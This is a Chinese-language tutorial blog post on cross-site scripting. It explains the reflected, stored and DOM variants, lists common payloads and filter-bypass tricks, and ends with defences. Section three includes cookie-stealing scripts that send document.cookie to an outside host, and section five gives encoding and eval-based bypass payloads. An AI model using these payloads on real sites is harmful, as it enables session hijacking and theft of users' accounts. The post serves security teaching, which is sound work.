渗透测试技术----常见web漏洞--跨站脚本攻击原理及防御

一、跨站脚本攻击介绍

1.跨站脚本攻击简介
跨站脚本攻击(Cross-Site Scripting)简称为XSS(本来为CSS,但是与前端语言CSS容易产生歧义,故取名为XSS),XSS是一种针对于网站应用程序(Web客户端)的安全漏洞攻击技术,是代码注入的一种,它允许攻击者将恶意JS代码注入到网页,这样其他用户在访问网页时就会受到影响。攻击者利用XSS代码攻击成功后,可能得到一些高权限来执行一些操作,或者访问私密网页内容,获取会话和cookie值以及重定向到第三方,使用XSS也可以反弹shell。

2.XSS分类
XSS一共可以分为三类:反射型XSS、存储型XSS、DOM型XSS

二、跨站脚本攻击原理

反射型XSS

1.反射型XSS介绍
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。攻击者在提交的数据中可以构造代码来执行,从而实现用户信息等攻击。但是需要诱骗用户"点击"一个恶意链接,才能攻击成功。

2.反射型XSS攻击方法
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

3.反射型XSS的攻击原理

  • 获取cookie值
    在这里插入图片描述
  • 重定向到第三方网站
    在这里插入图片描述
存储型XSS

1.存储型XSS介绍
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性和稳定性。

2.存储型XSS攻击方法
这种攻击多见于论坛、博客、留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。这个帖子的内容连同恶意脚本也一并会被服务器保存下来,这样,当其他用户去访问这个帖子时,恶意脚本就会在他们的浏览器中执行。

3.存储型XSS的攻击原理

  • 获取cookie值
    在这里插入图片描述
  • 重定向到第三方网站
    在这里插入图片描述
DOM型XSS

1.DOM介绍
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态的访问更新文档的内容、结构及样式。HTML的标签都是节点,而这些节点组成了DOM的整体结构----节点树。通过HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有的HTML元素(节点)均可被修改,也可以创建或删除节点。
HTML DOM树结构如下图所示
在这里插入图片描述
在网站页面有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型XSS漏洞不需要与服务端交互,它只发生在客户端处理数据的阶段。

2.DOM型XSS介绍
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

3.DOM型XSS攻击方法
用户请求的URL是由攻击者专门设计的URL,其中包含着XSS代码。用户请求了这个包含XSS代码的URL后,服务器的响应不会以任何形式包含攻击者的脚本,服务器会向浏览器返回一个包含上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,由于这个HTML中包含着XSS代码,浏览器在处理这个DOM时就会执行XSS代码,这样就会产生DOM型XSS攻击。

4.三种XSS的区别
(1):反射型XSS:反射型XSS不会存放到服务器端,具有一次性,并且只有当用户点击了构造的URL后才会触发XSS攻击。
(2):存储型XSS:存储型XSS会存放到服务器端,只要用户访问服务器就会触发XSS攻击。
(3):DOM型XSS:DOM型XSS是一种特殊的反射型XSS,因此也具有一次性,但是DOM型XSS最大的区别就是DOM型XSS不需要与服务器端进行交互。

三、常用的XSS语句

  • 弹窗和重定向
<script>alert(/xss/)</script>
<script>alert('xss')</script>
<body οnlοad=alert('xss')>
<svg οnlοad=alert('xss')>
<img src=x οnerrοr=alert('xss')>
<a href='' οnclick=alert('xss')>type</a>
<a href=javascript:alert('xss')>
<a href=http://192.168.223.1>click</a>
<script>window.location="https://www.baidu.com"</script>
<iframe src='http://192.168.223.1/a.jpg' height='0' width='0'></iframe>
  • 获取cookie值
<script>new Image().src="http://192,168.223.1/c.php?output=" + document.cookie;</script>
<script>alert(document.cookie)</script>
<script src='http://192.168.223.1/cookie.js'></script>
cookie.js文件代码如下
var img = new Image();
img src = 'http://192.168.223.1/cookie.php?ccokie=' + document.cookie;

四、跨站脚本攻击挖掘方法

1.查找输入点与输出点的位置
2.判断过滤机制过滤了什么内容,例如过滤了<script>标签等等
3.构造payload绕过过滤规则

五、Bypass XSS过滤方法

情形一:<script>标签被过滤
(1):使用其他标签进行绕过
(2):使用大小写进行绕过
(3):使用<script>标签复写来进行绕过
(4):使用JS编码、HTML实体编码和URL编码来绕过

情形二:过滤了引号
(1):使用 / 来代替引号
(2):使用fromCharCode进行编码来绕过引号过滤
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text"value=’\’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>’>
(3):使用&quot;或者&#34;来绕过引号过滤
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>
(4):将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制
<script>eval(location.hash.slice(1))</script>#alert(‘a’)

情形三:过滤了空格
(1):这种情形可以使用%0d(回车)、%0a(换行)进行替换

<img%0dsrc=1%0dοnerrοr=alert(/1/);>

情形四:"=、()、;、:"被过滤
使用下面语句几乎可以通杀所有浏览器

<svg> <script>alert&#40/1/&#41</script>

六、防御跨站脚本攻击方法

1.对输入的数据进行过滤,包括“’”、“"”、“>”、“<”等特殊字符
2.可以使用HTTPOnly对cookie劫持进行限制
3.输入点检测
对用户输入的数据进行合法性检测,使用filter过滤敏感字符或对字符进行编码转义,对于特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现,如果放在浏览器端可能会被攻击者通过BurpSuite抓包进行绕过
4.输入点检测
对变量输出到HTML页面中时,对输出的内容进行编码转义,如果输出在HTML中时,对其进行HTML Encode转义,如果输出在Javascript中时,对其进行Javascript Encode。对使用Javascript Encode的变量就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML编码会优先于Javascript的解析,编码的方式也可能有所不同

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Python-Django 是一个流行的 Web 开发框架,而多功能 Web 应用渗透测试系统则是指的一个系统能够对各种不同类Web 应用进行渗透测试,同时还具备多种功能。 Python-Django 的优势在于其简单易用、灵活性高以及开发效率高。使用 Python-Django 开发一个多功能 Web 应用渗透测试系统具备以下几个方面的优势: 1. 强大的渗透测试功能:Python-Django 可以实现对 Web 应用中可能存在的漏洞进行渗透测试,比如 SQL 注入、跨站脚本攻击等,提供了一系列的工具和库来实现这些功能。 2. 可扩展性:Python-Django 框架本身就具备良好的可扩展性,可以根据实际需求添加新的功能或模块,满足不同用户的要求。 3. 用户权限管理:Web 应用渗透测试系统需要具备用户权限管理的功能,以便不同用户可以根据其角色进行权限管理和操作。Python-Django 提供了丰富的用户认证和授权机制,可以很方便地实现用户权限管理。 4. 数据库支持:Web 应用渗透测试系统需要对各种渗透测试数据进行存储和管理,Python-Django 提供了对多种数据库的支持,如 MySQL、SQLite、PostgreSQL 等,可以根据实际需要选择合适的数据库。 综上所述,使用 Python-Django 开发一个多功能的 Web 应用渗透测试系统可以实现强大的渗透测试功能,具备良好的可扩展性和用户权限管理,并提供了丰富的数据库支持。这将使得渗透测试人员可以更加高效和便捷地进行各种类渗透测试工作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值